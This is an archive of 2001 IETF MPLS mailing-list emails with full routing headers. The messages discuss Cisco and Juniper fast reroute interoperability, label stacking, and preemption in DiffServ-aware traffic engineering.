Received: from funnel.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQljlo01797
	for <mpls@uu.net>; Fri, 5 Oct 2001 18:10:01 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id OAA29043 for <mpls@uu.net>; Fri, 5 Oct 2001 14:10:07 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id OAA15914 for mpls@uu.net; Fri, 5 Oct 2001 14:10:07 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQljlo15732
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 5 Oct 2001 18:02:56 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQljlo06302
	for <mpls@UU.NET>; Fri, 5 Oct 2001 18:02:36 GMT
Received: from web13908.mail.yahoo.com by cmr0.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: web13908.mail.yahoo.com [216.136.175.71])
	id QQljlo27661
	for <mpls@UU.NET>; Fri, 5 Oct 2001 18:02:49 GMT
Message-ID: <20011005180235.65586.qmail@web13908.mail.yahoo.com>
Received: from [208.246.215.128] by web13908.mail.yahoo.com via HTTP; Fri, 05 Oct 2001 11:02:35 PDT
Date: Fri, 5 Oct 2001 11:02:35 -0700 (PDT)
From: Vishnu Pavan Kumar Beeram <vishnupavan@yahoo.com>
Subject: Re: Fast Reroute Interoperability
To: "Gustavo Bellotto \(CEA\)" <gustavo.bellotto@cea.ericsson.se>,
        mpls-ops@mplsrc.com, mpls@UU.NET
In-Reply-To: <3BBDDC2F.3010704@cea.ericsson.se>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-mpls@UU.NET
Precedence: bulk

check this out
http://www.ietf.org/internet-drafts/draft-atlas-rsvp-local-protect-interop-01.txt


--- "Gustavo Bellotto (CEA)"
<gustavo.bellotto@cea.ericsson.se> wrote:
> Juniper implemented draft-gan-fast-reroute-00.txt
> while Cisco does something like
> draft-swallow-rsvp-bypass-label-01.txt
> 
> Basically, Juniper use new RSVP objects FAST_ROUTE
> and DETOUR to signal
> and build up detours to skip next hop in each LSR on
> the LSP.
> 
> Cisco uses "standard"
> (draft-ietf-mpls-rsvp-lsp-tunnel-08.txt) RSVP
> to signal that, by setting the "Local Protection
> desired" flag in the
> SESSION_ATTRIBUTE object. Then each LSR on the LSP
> will use a manually
> pre configured "backup tunnel" (nested label stack)
> to reach next hop
> in the case of link failure.
> 
> Please correct me if I'm wrong.
> 
> Regards,
> Gustavo
> 
> Hemant P. Kelkar wrote:
> 
> > Hi !
> > Can somebody tell the differences between the fast
> reroute mechanisms
> > provided by cisco
> > and juniper ?
> > 
> > thanks,
> > Hemant
> > 
> > 
> > 
> > Date: Fri, 05 Oct 2001 10:28:14 -0300
> > From: "Gustavo Bellotto (CEA)"
> <gustavo.bellotto@cea.ericsson.se>
> > To: mpls-ops@mplsrc.com, mpls@UU.NET
> > Subject: Fast Reroute Interoperability
> > Resent-Date: Fri, 5 Oct 2001 09:33:21 -0400
> > Resent-From: mpls-ops@mplsrc.com
> > 
> > Hello,
> > 
> > In spite of the different way that Juniper and
> Cisco have taken
> > to provide fast reroute protection, making them
> not interoperable,
> > I'm wondering if there is any way to build a
> scheme were both can
> > coexist in a MPLS fault protected network. A valid
> solution could
> > consider nested tunnels and statically configured
> LSPs.
> > In our particular case Cisco GSR builds up the
> core and Juniper the
> > edge of the backbone.
> > 
> > Regards,
> > Gustavo
> > 
> > -------
> > The MPLS-OPS Mailing List
> > Subscribe/Unsubscribe: 
> http://www.mplsrc.com/mplsops.shtml
> > Archive:
> http://www.mplsrc.com/mpls-ops_archive.shtml
> > 
> > 
> > -------
> > The MPLS-OPS Mailing List
> > Subscribe/Unsubscribe: 
> http://www.mplsrc.com/mplsops.shtml
> > Archive:
> http://www.mplsrc.com/mpls-ops_archive.shtml
> > 
> 
> 
> -------
> The MPLS-OPS Mailing List
> Subscribe/Unsubscribe: 
> http://www.mplsrc.com/mplsops.shtml
> Archive:
http://www.mplsrc.com/mpls-ops_archive.shtml


__________________________________________________
Do You Yahoo!?
NEW from Yahoo! GeoCities - quick and easy web site hosting, just $8.95/month.
http://geocities.yahoo.com/ps/info1



From owner-mpls@UU.NET  Fri Oct  5 14:27:23 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA28084
	for <mpls-archive@lists.ietf.org>; Fri, 5 Oct 2001 14:27:22 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljlp27199;
	Fri, 5 Oct 2001 18:26:54 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljlp26529
	for mpls-outgoing; Fri, 5 Oct 2001 18:26:45 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQljlp26524
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 5 Oct 2001 18:26:42 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQljlp16828
	for <mpls@UU.NET>; Fri, 5 Oct 2001 18:25:56 GMT
Received: from mail1.telefonica.com.ar by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [168.226.49.11])
	id QQljlp25249
	for <mpls@UU.NET>; Fri, 5 Oct 2001 18:26:08 GMT
Received: by MAIL1 with Internet Mail Service (5.5.2653.19)
	id <T5J8FBGP>; Fri, 5 Oct 2001 15:25:08 -0300
Message-ID: <49BB9783DE7FD411A29D00508B6F0AD804D444BC@MSTELEFONICA1>
From: Zappacosta Rolando Jorge <zappacor@TELEFONICA.COM.AR>
To: "'Gustavo Bellotto (CEA)'" <gustavo.bellotto@cea.ericsson.se>,
        mpls-ops@mplsrc.com, mpls@UU.NET
Subject: RE: Fast Reroute Interoperability
Date: Fri, 5 Oct 2001 14:54:31 -0300 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-mpls@UU.NET
Precedence: bulk

Gustavo: I was thinking to use Junipers as LER's running protection
switching between 'em and fast reroute in the core (cisco's GSRs). This way,
in case a link failure in the core the fast reroute would be acting in the
cisco's with no knowledge at all by part of Junipers. In case the link
between a Juniper LER and a Cisco LSR goes down the protection switching
would resolve this situation behaving just like a fast reroute solution
(i.e. the detour been taken in the router directly connected to faulty link)
Regards,
Rolando.

> -----Mensaje original-----
> De:	Gustavo Bellotto (CEA) [SMTP:gustavo.bellotto@cea.ericsson.se]
> Enviado el:	Viernes 5 de Octubre de 2001 10:28
> Para:	mpls-ops@mplsrc.com; mpls@UU.NET
> Asunto:	Fast Reroute Interoperability
> 
> Hello,
> 
> In spite of the different way that Juniper and Cisco have taken
> to provide fast reroute protection, making them not interoperable,
> I'm wondering if there is any way to build a scheme were both can
> coexist in a MPLS fault protected network. A valid solution could
> consider nested tunnels and statically configured LSPs.
> In our particular case Cisco GSR builds up the core and Juniper the
> edge of the backbone.
> 
> Regards,
> Gustavo


From owner-mpls@UU.NET  Fri Oct  5 15:03:19 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA28944
	for <mpls-archive@lists.ietf.org>; Fri, 5 Oct 2001 15:03:14 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljls14559;
	Fri, 5 Oct 2001 19:02:58 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljls06633
	for mpls-outgoing; Fri, 5 Oct 2001 19:02:26 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQljls06440
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 5 Oct 2001 19:02:22 GMT
Received: from dgismtp03.wcomnet.com by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: dgismtp03.wcomnet.com [166.38.58.143])
	id QQljls08270
	for <mpls@UU.NET>; Fri, 5 Oct 2001 19:01:41 GMT
Received: from CONVERSION-DAEMON by dgismtp03.wcomnet.com (PMDF V5.2-33 #42262)
 id <0GKQ00501Y6SGB@dgismtp03.wcomnet.com> for mpls@UU.NET; Fri,
 5 Oct 2001 19:01:41 +0000 (GMT)
Received: from dgismtp03.wcomnet.com by dgismtp03.wcomnet.com
 (PMDF V5.2-33 #42262) with SMTP id <0GKQ00501Y5V8R@dgismtp03.wcomnet.com> for
 mpls@UU.NET; Fri, 05 Oct 2001 19:01:40 +0000 (GMT)
Received: from ws107v7414a ([166.35.146.46])
 by dgismtp03.wcomnet.com (PMDF V5.2-33 #42262)
 with SMTP id <0GKQ00460Y5UVG@dgismtp03.wcomnet.com>; Fri,
 05 Oct 2001 19:01:06 +0000 (GMT)
Date: Fri, 05 Oct 2001 14:01:02 -0500
From: David Escobar <c-david.escobar@wcom.com>
Subject: Re: label stack
To: krishnakanth.rao@mail.cominsights.com, mpls@UU.NET
Message-id: <002801c14dd0$16648fb0$2e9223a6@wcomnet.com>
Organization: Worldcom
MIME-version: 1.0
X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
Content-type: text/plain; charset=iso-8859-1
Content-transfer-encoding: 7bit
X-Priority: 3
X-MSMail-priority: Normal
References: <200110050558.AA1003684170@mail.cominsights.com>
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit


Label stacking has a number of uses. For example, this feature is useful
when two labels are used for IGP and BGP. The BGP label is used to forward
packets from BGP speaker to another BGP speaker, while the IGP label is used
to forward packets within an autonomous system. Another use of label
stacking is when an enterprise aggregates multiple flows of its own traffic
before handing it to an access provider. The access provider aggregates
traffic from multiple enterprises before handing it to a backbone provider
and the backbone provider aggregates it again before passing it to a
wholesale carrier.

----- Original Message -----
From: "krishnakanth.rao" <krishnakanth.rao@mail.cominsights.com>
To: <mpls@UU.NET>
Sent: Friday, October 05, 2001 4:58 AM
Subject: label stack


> what purpose does the label stack serve
>
> Krishnakanth



From owner-mpls@UU.NET  Fri Oct  5 16:29:43 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA00900
	for <mpls-archive@lists.ietf.org>; Fri, 5 Oct 2001 16:29:43 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljlx25807;
	Fri, 5 Oct 2001 20:29:10 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljlx15676
	for mpls-outgoing; Fri, 5 Oct 2001 20:29:00 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQljlx15668
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 5 Oct 2001 20:28:52 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQljlx22304
	for <mpls@uu.net>; Fri, 5 Oct 2001 20:26:34 GMT
Received: from mailgate.pit.comms.marconi.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQljlx17298
	for <mpls@uu.net>; Fri, 5 Oct 2001 20:26:46 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id QAA24990
	for <mpls@uu.net>; Fri, 5 Oct 2001 16:26:29 -0400 (EDT)
Received: from whq-msgrtr-01.pit.comms.marconi.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id QAA22191
	for <mpls@uu.net>; Fri, 5 Oct 2001 16:26:28 -0400 (EDT)
Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21)
	id <TLVXBJ09>; Fri, 5 Oct 2001 16:26:29 -0400
Message-ID: <39469E08BD83D411A3D900204840EC5537DE0B@vie-msgusr-01.dc.fore.com>
From: "Ju, Yu" <Yu.Ju@marconi.com>
To: "'mpls@uu.net'" <mpls@UU.NET>
Subject: preemption in diffserv-aware TE
Date: Fri, 5 Oct 2001 16:26:00 -0400 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="ISO-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi,

draft-lefaucheur-diff-te-proto-00.txt says "If a lower priority class (e.g.
AF) used some of the unused bandwidth of a higher priority class (e.g. EF),
the high priority class should be able to reclaim this bandwidth where
necessary  (i.e. preempt lower priority class - see section 2.5)". This
sounds to me that higher priority class type can always preempt lower
priority class as long as the higher priority class doesn't exceed its
percentage of link bandwidth. 

 However, the draft also says "Since preemption is defined independently of
Class-Types, the  solution supports multiple preemption priorities across
Class-Types.   To allow preemption among two LSPs of different CTs, the
network  administrator only need to configure the two LSPs with different  
preemption priorities."

So my question is: can a LSP with lower class type, higher preemption
priority preempt a LSP with higher class type, lower prermption priority?

Thanks,

Yu


From owner-mpls@UU.NET  Fri Oct  5 21:33:13 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA05191
	for <mpls-archive@lists.ietf.org>; Fri, 5 Oct 2001 21:33:13 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljms22337;
	Sat, 6 Oct 2001 01:33:08 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljms15963
	for mpls-outgoing; Sat, 6 Oct 2001 01:32:37 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQljms15958
	for <mpls@mail-control.ash.ops.us.uu.net>; Sat, 6 Oct 2001 01:32:36 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQljms25888
	for <mpls@UU.NET>; Sat, 6 Oct 2001 01:31:23 GMT
Received: from zcars0m9.nortelnetworks.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: zcars0m9.nortelnetworks.com [47.129.242.157])
	id QQljms14222
	for <mpls@UU.NET>; Sat, 6 Oct 2001 01:31:16 GMT
Received: from zcars04e.ca.nortel.com (zcars04e.ca.nortel.com [47.129.242.56])
	by zcars0m9.nortelnetworks.com (8.11.0/8.11.0) with ESMTP id f961UoS05059
	for <mpls@UU.NET>; Fri, 5 Oct 2001 21:30:50 -0400 (EDT)
Received: from zcard015.ca.nortel.com (actually zcard015) 
          by zcars04e.ca.nortel.com; Fri, 5 Oct 2001 21:31:20 -0400
Received: by zcard015.ca.nortel.com with Internet Mail Service (5.5.2653.19) 
          id <42PMDQTY>; Fri, 5 Oct 2001 21:31:12 -0400
Message-ID: <F033F6FEF3F1D111BD150000F8CD143107B8EB72@zcard007.ca.nortel.com>
From: "Don Fedyk" <dwfedyk@nortelnetworks.com>
To: Jim Boyle <jboyle@pdnets.com>,
        "Gustavo Bellotto (CEA)" <gustavo.bellotto@cea.ericsson.se>
Cc: mpls-ops <mpls-ops@mplsrc.com>, mpls <mpls@UU.NET>
Subject: RE: Fast Reroute Interoperability
Date: Fri, 5 Oct 2001 21:31:01 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01C14E06.8ED8D5B0"
X-Orig: <dwfedyk@americasm01.nt.com>
Sender: owner-mpls@UU.NET
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C14E06.8ED8D5B0
Content-Type: text/plain;
	charset="iso-8859-1"

Jim

> 
> This is true, and in the last meeting it was noted by the authors that
> they think they can bring together a common draft.  That 
> would be a good
> thing as it would seem to meet one of the requirements in
> draft-ietf-tewg-restore-hierarchy-00.txt.  This is the only 
> approach to
> restoration times in the 10s to 100s of ms.

You mean this is the only layer 3 based approach that allows this.
Optical systems have done this for years and they don't compromise
QoS like some layer 3. I would hope that your draft on hierarchy would 
point out that hardware based mechanisms at lower layers can be coordinated 
with layer 3 and it might not be such a good idea to have higher 
layers doing fast recovery before lower layers. It would also seem
to be beneficial to move protection to the lowest layer you could 
afford it to get the maximum scaling from protection. Applying this 
to a GMPLS network I would think these control mechanisms rerouting 
light paths in mesh networks and layer 3 mechanisms not being so 
time sensitive.

Don

> 
> Another approach that both do support is that of 1:1 Path 
> LSPs where when
> traffic is on a primary, and if that has problems, the traffic shifted
> onto another pre-signalled LSPs (assuming that one is still 
> ok).  This can
> bring restoration times down significantly (maybe shave 5-10 
> seconds off
> not having this), but there still are impacts at the head end 
> routers as
> they shift the traffic.  This approach satisfies another
> restoration requirement in the above mentioned tewg document.
> 
> Jim
> 
> 

------_=_NextPart_001_01C14E06.8ED8D5B0
Content-Type: text/html;
	charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
<META NAME="Generator" CONTENT="MS Exchange Server version 5.5.2654.89">
<TITLE>RE: Fast Reroute Interoperability</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=2>Jim</FONT>
</P>

<P><FONT SIZE=2>&gt; </FONT>
<BR><FONT SIZE=2>&gt; This is true, and in the last meeting it was noted by the authors that</FONT>
<BR><FONT SIZE=2>&gt; they think they can bring together a common draft.&nbsp; That </FONT>
<BR><FONT SIZE=2>&gt; would be a good</FONT>
<BR><FONT SIZE=2>&gt; thing as it would seem to meet one of the requirements in</FONT>
<BR><FONT SIZE=2>&gt; draft-ietf-tewg-restore-hierarchy-00.txt.&nbsp; This is the only </FONT>
<BR><FONT SIZE=2>&gt; approach to</FONT>
<BR><FONT SIZE=2>&gt; restoration times in the 10s to 100s of ms.</FONT>
</P>

<P><FONT SIZE=2>You mean this is the only layer 3 based approach that allows this.</FONT>
<BR><FONT SIZE=2>Optical systems have done this for years and they don't compromise</FONT>
<BR><FONT SIZE=2>QoS like some layer 3. I would hope that your draft on hierarchy would </FONT>
<BR><FONT SIZE=2>point out that hardware based mechanisms at lower layers can be coordinated </FONT>
<BR><FONT SIZE=2>with layer 3 and it might not be such a good idea to have higher </FONT>
<BR><FONT SIZE=2>layers doing fast recovery before lower layers. It would also seem</FONT>
<BR><FONT SIZE=2>to be beneficial to move protection to the lowest layer you could </FONT>
<BR><FONT SIZE=2>afford it to get the maximum scaling from protection. Applying this </FONT>
<BR><FONT SIZE=2>to a GMPLS network I would think these control mechanisms rerouting </FONT>
<BR><FONT SIZE=2>light paths in mesh networks and layer 3 mechanisms not being so </FONT>
<BR><FONT SIZE=2>time sensitive.</FONT>
</P>

<P><FONT SIZE=2>Don</FONT>
</P>

<P><FONT SIZE=2>&gt; </FONT>
<BR><FONT SIZE=2>&gt; Another approach that both do support is that of 1:1 Path </FONT>
<BR><FONT SIZE=2>&gt; LSPs where when</FONT>
<BR><FONT SIZE=2>&gt; traffic is on a primary, and if that has problems, the traffic shifted</FONT>
<BR><FONT SIZE=2>&gt; onto another pre-signalled LSPs (assuming that one is still </FONT>
<BR><FONT SIZE=2>&gt; ok).&nbsp; This can</FONT>
<BR><FONT SIZE=2>&gt; bring restoration times down significantly (maybe shave 5-10 </FONT>
<BR><FONT SIZE=2>&gt; seconds off</FONT>
<BR><FONT SIZE=2>&gt; not having this), but there still are impacts at the head end </FONT>
<BR><FONT SIZE=2>&gt; routers as</FONT>
<BR><FONT SIZE=2>&gt; they shift the traffic.&nbsp; This approach satisfies another</FONT>
<BR><FONT SIZE=2>&gt; restoration requirement in the above mentioned tewg document.</FONT>
<BR><FONT SIZE=2>&gt; </FONT>
<BR><FONT SIZE=2>&gt; Jim</FONT>
<BR><FONT SIZE=2>&gt; </FONT>
<BR><FONT SIZE=2>&gt; </FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C14E06.8ED8D5B0--


From owner-mpls@UU.NET  Fri Oct  5 21:36:59 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA06165
	for <mpls-archive@lists.ietf.org>; Fri, 5 Oct 2001 21:36:59 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljms27162;
	Sat, 6 Oct 2001 01:36:56 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljms16320
	for mpls-outgoing; Sat, 6 Oct 2001 01:36:13 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQljms16313
	for <mpls@mail-control.ash.ops.us.uu.net>; Sat, 6 Oct 2001 01:36:09 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQljms18086
	for <mpls@UU.NET>; Sat, 6 Oct 2001 01:36:03 GMT
Received: from zcars0m9.nortelnetworks.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: zcars0m9.nortelnetworks.com [47.129.242.157])
	id QQljms19936
	for <mpls@UU.NET>; Sat, 6 Oct 2001 01:35:56 GMT
Received: from zcars04e.ca.nortel.com (zcars04e.ca.nortel.com [47.129.242.56])
	by zcars0m9.nortelnetworks.com (8.11.0/8.11.0) with ESMTP id f961ZUS05139
	for <mpls@UU.NET>; Fri, 5 Oct 2001 21:35:30 -0400 (EDT)
Received: from zcard015.ca.nortel.com (actually zcard015) 
          by zcars04e.ca.nortel.com; Fri, 5 Oct 2001 21:36:01 -0400
Received: by zcard015.ca.nortel.com with Internet Mail Service (5.5.2653.19) 
          id <42PMDQT7>; Fri, 5 Oct 2001 21:35:53 -0400
Message-ID: <F033F6FEF3F1D111BD150000F8CD143107B8EB73@zcard007.ca.nortel.com>
From: "Don Fedyk" <dwfedyk@nortelnetworks.com>
To: "Ju, Yu" <Yu.Ju@marconi.com>, "'mpls@uu.net'" <mpls@UU.NET>
Subject: RE: preemption in diffserv-aware TE
Date: Fri, 5 Oct 2001 21:35:40 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01C14E07.353296D0"
X-Orig: <dwfedyk@americasm01.nt.com>
Sender: owner-mpls@UU.NET
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C14E07.353296D0
Content-Type: text/plain;
	charset="iso-8859-1"

Hi Yu

> -----Original Message-----
> From: Ju, Yu [mailto:Yu.Ju@marconi.com]
> Sent: Friday, October 05, 2001 4:26 PM
> To: 'mpls@uu.net'
> Subject: preemption in diffserv-aware TE
> 
> 
> Hi,
> 
> draft-lefaucheur-diff-te-proto-00.txt says "If a lower 
> priority class (e.g.
> AF) used some of the unused bandwidth of a higher priority 
> class (e.g. EF),
> the high priority class should be able to reclaim this bandwidth where
> necessary  (i.e. preempt lower priority class - see section 
> 2.5)". This
> sounds to me that higher priority class type can always preempt lower
> priority class as long as the higher priority class doesn't exceed its
> percentage of link bandwidth. 

> 
>  However, the draft also says "Since preemption is defined 
> independently of
> Class-Types, the  solution supports multiple preemption 
> priorities across
> Class-Types.   To allow preemption among two LSPs of 
> different CTs, the
> network  administrator only need to configure the two LSPs 
> with different  
> preemption priorities."
> 
> So my question is: can a LSP with lower class type, higher preemption
> priority preempt a LSP with higher class type, lower 
> prermption priority?

The decision to preempt is not based on priority class. But the 
first decision is "Unused bandwidth in the AF class type is sufficient".
The second decision if this is satisfied is "the AF LSP being set up 
has a higher preemption priority than EF LSP. If both of these are 
satisfied then preemption can happen.

There are other drafts on preemption that don't allow this separation
in order to reduced flooded data. 

I always looks a Preemption priority as a connection priority that 
gives you a higher probability of getting and keeping your traffic.
It is not a guarantee, even without this class type bandwidth partition. 

Hope that helps,
Don


> 
> Thanks,
> 
> Yu
> 

------_=_NextPart_001_01C14E07.353296D0
Content-Type: text/html;
	charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
<META NAME="Generator" CONTENT="MS Exchange Server version 5.5.2654.89">
<TITLE>RE: preemption in diffserv-aware TE</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=2>Hi Yu</FONT>
</P>

<P><FONT SIZE=2>&gt; -----Original Message-----</FONT>
<BR><FONT SIZE=2>&gt; From: Ju, Yu [<A HREF="mailto:Yu.Ju@marconi.com">mailto:Yu.Ju@marconi.com</A>]</FONT>
<BR><FONT SIZE=2>&gt; Sent: Friday, October 05, 2001 4:26 PM</FONT>
<BR><FONT SIZE=2>&gt; To: 'mpls@uu.net'</FONT>
<BR><FONT SIZE=2>&gt; Subject: preemption in diffserv-aware TE</FONT>
<BR><FONT SIZE=2>&gt; </FONT>
<BR><FONT SIZE=2>&gt; </FONT>
<BR><FONT SIZE=2>&gt; Hi,</FONT>
<BR><FONT SIZE=2>&gt; </FONT>
<BR><FONT SIZE=2>&gt; draft-lefaucheur-diff-te-proto-00.txt says &quot;If a lower </FONT>
<BR><FONT SIZE=2>&gt; priority class (e.g.</FONT>
<BR><FONT SIZE=2>&gt; AF) used some of the unused bandwidth of a higher priority </FONT>
<BR><FONT SIZE=2>&gt; class (e.g. EF),</FONT>
<BR><FONT SIZE=2>&gt; the high priority class should be able to reclaim this bandwidth where</FONT>
<BR><FONT SIZE=2>&gt; necessary&nbsp; (i.e. preempt lower priority class - see section </FONT>
<BR><FONT SIZE=2>&gt; 2.5)&quot;. This</FONT>
<BR><FONT SIZE=2>&gt; sounds to me that higher priority class type can always preempt lower</FONT>
<BR><FONT SIZE=2>&gt; priority class as long as the higher priority class doesn't exceed its</FONT>
<BR><FONT SIZE=2>&gt; percentage of link bandwidth. </FONT>
</P>

<P><FONT SIZE=2>&gt; </FONT>
<BR><FONT SIZE=2>&gt;&nbsp; However, the draft also says &quot;Since preemption is defined </FONT>
<BR><FONT SIZE=2>&gt; independently of</FONT>
<BR><FONT SIZE=2>&gt; Class-Types, the&nbsp; solution supports multiple preemption </FONT>
<BR><FONT SIZE=2>&gt; priorities across</FONT>
<BR><FONT SIZE=2>&gt; Class-Types.&nbsp;&nbsp; To allow preemption among two LSPs of </FONT>
<BR><FONT SIZE=2>&gt; different CTs, the</FONT>
<BR><FONT SIZE=2>&gt; network&nbsp; administrator only need to configure the two LSPs </FONT>
<BR><FONT SIZE=2>&gt; with different&nbsp; </FONT>
<BR><FONT SIZE=2>&gt; preemption priorities.&quot;</FONT>
<BR><FONT SIZE=2>&gt; </FONT>
<BR><FONT SIZE=2>&gt; So my question is: can a LSP with lower class type, higher preemption</FONT>
<BR><FONT SIZE=2>&gt; priority preempt a LSP with higher class type, lower </FONT>
<BR><FONT SIZE=2>&gt; prermption priority?</FONT>
</P>

<P><FONT SIZE=2>The decision to preempt is not based on priority class. But the </FONT>
<BR><FONT SIZE=2>first decision is &quot;Unused bandwidth in the AF class type is sufficient&quot;.</FONT>
<BR><FONT SIZE=2>The second decision if this is satisfied is &quot;the AF LSP being set up </FONT>
<BR><FONT SIZE=2>has a higher preemption priority than EF LSP. If both of these are </FONT>
<BR><FONT SIZE=2>satisfied then preemption can happen.</FONT>
</P>

<P><FONT SIZE=2>There are other drafts on preemption that don't allow this separation</FONT>
<BR><FONT SIZE=2>in order to reduced flooded data. </FONT>
</P>

<P><FONT SIZE=2>I always looks a Preemption priority as a connection priority that </FONT>
<BR><FONT SIZE=2>gives you a higher probability of getting and keeping your traffic.</FONT>
<BR><FONT SIZE=2>It is not a guarantee, even without this class type bandwidth partition. </FONT>
</P>

<P><FONT SIZE=2>Hope that helps,</FONT>
